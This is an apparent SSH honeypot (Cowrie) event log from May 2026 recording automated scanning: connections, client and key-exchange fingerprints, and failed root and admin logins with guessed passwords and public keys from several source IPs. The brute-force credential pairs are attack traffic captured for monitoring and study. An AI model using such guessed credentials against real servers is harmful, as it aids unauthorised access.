{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:9e:74:57:89:9c:9e:ca:0c:ff:e4:21:c6:1a:96:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiaNHn7wWD2bSE/avRrYBKETTz/T/WVVCy3PYi7LldNKqNPGrEHiLOkcUhIr+UCXS2+6H9WgzZho5pGY4mctYMXVCHq7McbVQY+gN85ZgEYgJxMvagZDnlOqxtJNN9i+BGtvT9gZj2l8Z0U2qSRtj55aFHd/WwE1OWRlH3hDJK1QBIQA9hxXAuBxZKtITUXfA5nb8wFsaefFQy5Y/jvtYTlczXygSQSRKXntcIxXnBycJL3bsSzx0d2pgjlsygy4Pb9/Un/kNFZSwQCGAUvvZ3/N9IkH1Sgz2bXfxu/JtmTk6hU4uxoXCIz6Wi8OFZakg+C0tIvQKmzylnMROAmsp5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.631341Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:b5:69:e6:fc:7c:14:2e:40:5e:30:1e:69:27:4f:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtsVtqHsBPUlyU0ctuZtLoEQp5wQ3r6RBcOeswFKwjm7TO6P57vHlkN6DM9fJp4VWeoJb2/WXoySGT9ItcAltzE7/jbb5apdR3TTTLD9OqXx55Rryds5oThmvCoaWr4Qu5YmRq7IHAubhSl+nhLtC92CDctdO7/Np0dbIuz3PP6/mFZ4Ilbcqgq9Pano0iU4WzXMqq3ZN6aY/3hqHymh1iFZfRl/BkMzoxGopMig7HbWAgfT6Fi/+6pH6A92E551uV4MCpHm8RV40I1IIOjhRfVHbabAbit1cj1HUp1VdmIVhVktWSwJ6gF0/qTrum8swkvXWAz46Gx7Cg/BGZK4dL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:b5:69:e6:fc:7c:14:2e:40:5e:30:1e:69:27:4f:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.707767Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:b5:69:e6:fc:7c:14:2e:40:5e:30:1e:69:27:4f:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtsVtqHsBPUlyU0ctuZtLoEQp5wQ3r6RBcOeswFKwjm7TO6P57vHlkN6DM9fJp4VWeoJb2/WXoySGT9ItcAltzE7/jbb5apdR3TTTLD9OqXx55Rryds5oThmvCoaWr4Qu5YmRq7IHAubhSl+nhLtC92CDctdO7/Np0dbIuz3PP6/mFZ4Ilbcqgq9Pano0iU4WzXMqq3ZN6aY/3hqHymh1iFZfRl/BkMzoxGopMig7HbWAgfT6Fi/+6pH6A92E551uV4MCpHm8RV40I1IIOjhRfVHbabAbit1cj1HUp1VdmIVhVktWSwJ6gF0/qTrum8swkvXWAz46Gx7Cg/BGZK4dL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.712943Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:71:ca:ce:71:39:c0:86:8d:bf:76:3f:37:5c:2e:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICBFb3Ed0W21Gd9njtpT+U2OnMuRAasayk/K11c80xeq","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:71:ca:ce:71:39:c0:86:8d:bf:76:3f:37:5c:2e:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.787053Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:71:ca:ce:71:39:c0:86:8d:bf:76:3f:37:5c:2e:17","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICBFb3Ed0W21Gd9njtpT+U2OnMuRAasayk/K11c80xeq","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.791101Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:b6:90:51:6e:8a:42:97:03:34:ad:44:34:2e:01:f1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXPf6MgSR0+gcXqEJXCZ5FxCrIo9gPtvkcmMKX4sYms","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d2:b6:90:51:6e:8a:42:97:03:34:ad:44:34:2e:01:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.866182Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:b6:90:51:6e:8a:42:97:03:34:ad:44:34:2e:01:f1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIXPf6MgSR0+gcXqEJXCZ5FxCrIo9gPtvkcmMKX4sYms","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.871117Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:b0:b7:a7:80:4e:74:91:98:ab:4f:90:84:0b:fc:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbBuBcLEACVSMC2BPoo4qvsfha5aNMCk644u/ED+8QXW43PJzsy3tPH82FvO/hMspO6txGz1wfxU3e7Pk0dHzofROKvWgf6txRFVichN8GGnB+NWYkYJMgmhWxc/05/4XzHfyB5K1NReTeqNhZV0ReokIZxC0HNPyMcZMpoDCTKUXIPeaPKqNspatZCGijmhznRm6/HGhGjeh/IoBhfEo4jEx6b2Dv4S5iuZL3BEL1PyJ1R2FLx9OlRn4JIKkDhOJXiTcCww4CkJWpGZT98e7DXJ7uPnq2E2Mnm8toYs3J2ny4re7Itmjz0opXGu6z/6tR5Lf7n89WrmRtCcLfWBWjpDZYHiCasXm481P5NOUxvJaLuukTa0yR13C9umGjVzpuLNSuhdZvKC7dgYCfKVCg46aJseW+m4C74AmZAcAr3bFJXkHDljyBGraFPAcpMH38qa4ZyntNVobpDRQTrgEkvvUVEzbEF6mESeCrQ/4TekWXVwjHSHNqfyUoelDPgQWstzqc+Kpa3nljA4KiefdrwyNL1gxXivfPg5NgzX0LDrn6IwxQYlOBCWdgWWZlzD+pOj1qsFj6JN8uW7oD1lsddjmNtO2W2S0akAm4qsvx9P4CxUDB6sUTXKBEd6Zdxd+NFSGXX+4J6rbIk9/jX3X2SVsPd6ZNmCYsP8Do95CjxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:b0:b7:a7:80:4e:74:91:98:ab:4f:90:84:0b:fc:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.945336Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:b0:b7:a7:80:4e:74:91:98:ab:4f:90:84:0b:fc:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbBuBcLEACVSMC2BPoo4qvsfha5aNMCk644u/ED+8QXW43PJzsy3tPH82FvO/hMspO6txGz1wfxU3e7Pk0dHzofROKvWgf6txRFVichN8GGnB+NWYkYJMgmhWxc/05/4XzHfyB5K1NReTeqNhZV0ReokIZxC0HNPyMcZMpoDCTKUXIPeaPKqNspatZCGijmhznRm6/HGhGjeh/IoBhfEo4jEx6b2Dv4S5iuZL3BEL1PyJ1R2FLx9OlRn4JIKkDhOJXiTcCww4CkJWpGZT98e7DXJ7uPnq2E2Mnm8toYs3J2ny4re7Itmjz0opXGu6z/6tR5Lf7n89WrmRtCcLfWBWjpDZYHiCasXm481P5NOUxvJaLuukTa0yR13C9umGjVzpuLNSuhdZvKC7dgYCfKVCg46aJseW+m4C74AmZAcAr3bFJXkHDljyBGraFPAcpMH38qa4ZyntNVobpDRQTrgEkvvUVEzbEF6mESeCrQ/4TekWXVwjHSHNqfyUoelDPgQWstzqc+Kpa3nljA4KiefdrwyNL1gxXivfPg5NgzX0LDrn6IwxQYlOBCWdgWWZlzD+pOj1qsFj6JN8uW7oD1lsddjmNtO2W2S0akAm4qsvx9P4CxUDB6sUTXKBEd6Zdxd+NFSGXX+4J6rbIk9/jX3X2SVsPd6ZNmCYsP8Do95CjxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:34.949319Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:35.041056Z","src_ip":"209.90.232.251","session":"ab79e181d254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"310177","message":"login attempt [admin/310177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:35.329800Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31011997","message":"login attempt [admin/31011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:36.437624Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:12:37.547893Z","src_ip":"2.57.121.112","session":"1d6f050d2232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34518,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc5fb33d1352","protocol":"ssh","message":"New connection: 51.250.105.222:34518 (159.203.135.109:22) [session: fc5fb33d1352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:04.968429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:04.973730Z","src_ip":"51.250.105.222","session":"fc5fb33d1352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:05.100111Z","src_ip":"51.250.105.222","session":"fc5fb33d1352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789p","message":"login attempt [root/123456789p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:05.479210Z","src_ip":"51.250.105.222","session":"fc5fb33d1352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:06.607443Z","src_ip":"51.250.105.222","session":"fc5fb33d1352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":32966,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fdfe7f16886","protocol":"ssh","message":"New connection: 103.149.28.157:32966 (159.203.135.109:22) [session: 1fdfe7f16886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:09.640516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:09.646004Z","src_ip":"103.149.28.157","session":"1fdfe7f16886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:09.897099Z","src_ip":"103.149.28.157","session":"1fdfe7f16886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"butterfly","message":"login attempt [root/butterfly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:10.651855Z","src_ip":"103.149.28.157","session":"1fdfe7f16886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:11.910450Z","src_ip":"103.149.28.157","session":"1fdfe7f16886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38732,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e97346bb968","protocol":"ssh","message":"New connection: 194.59.206.2:38732 (10.17.0.5:22) [session: 7e97346bb968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:24.457695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:24.462312Z","src_ip":"194.59.206.2","session":"7e97346bb968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:24.547593Z","src_ip":"194.59.206.2","session":"7e97346bb968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:24.638119Z","src_ip":"194.59.206.2","session":"7e97346bb968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a22c16d8da3","protocol":"ssh","message":"New connection: 103.173.227.57:37360 (10.17.0.5:22) [session: 3a22c16d8da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:31.876273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:31.881419Z","src_ip":"103.173.227.57","session":"3a22c16d8da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:40.705157Z","src_ip":"103.173.227.57","session":"3a22c16d8da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfylfhby","message":"login attempt [root/vfylfhby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:41.477790Z","src_ip":"103.173.227.57","session":"3a22c16d8da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:42.717942Z","src_ip":"103.173.227.57","session":"3a22c16d8da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":38372,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6570316be56","protocol":"ssh","message":"New connection: 103.183.114.55:38372 (159.203.135.109:22) [session: c6570316be56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:54.266239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:54.270795Z","src_ip":"103.183.114.55","session":"c6570316be56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:54.491883Z","src_ip":"103.183.114.55","session":"c6570316be56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"william","message":"login attempt [root/william] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:55.158711Z","src_ip":"103.183.114.55","session":"c6570316be56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:13:56.383092Z","src_ip":"103.183.114.55","session":"c6570316be56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":46052,"dst_ip":"159.203.135.109","dst_port":22,"session":"926667e71c32","protocol":"ssh","message":"New connection: 193.32.162.151:46052 (159.203.135.109:22) [session: 926667e71c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:03.448915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:14:03.455184Z","src_ip":"193.32.162.151","session":"926667e71c32","protocol":"ssh"}
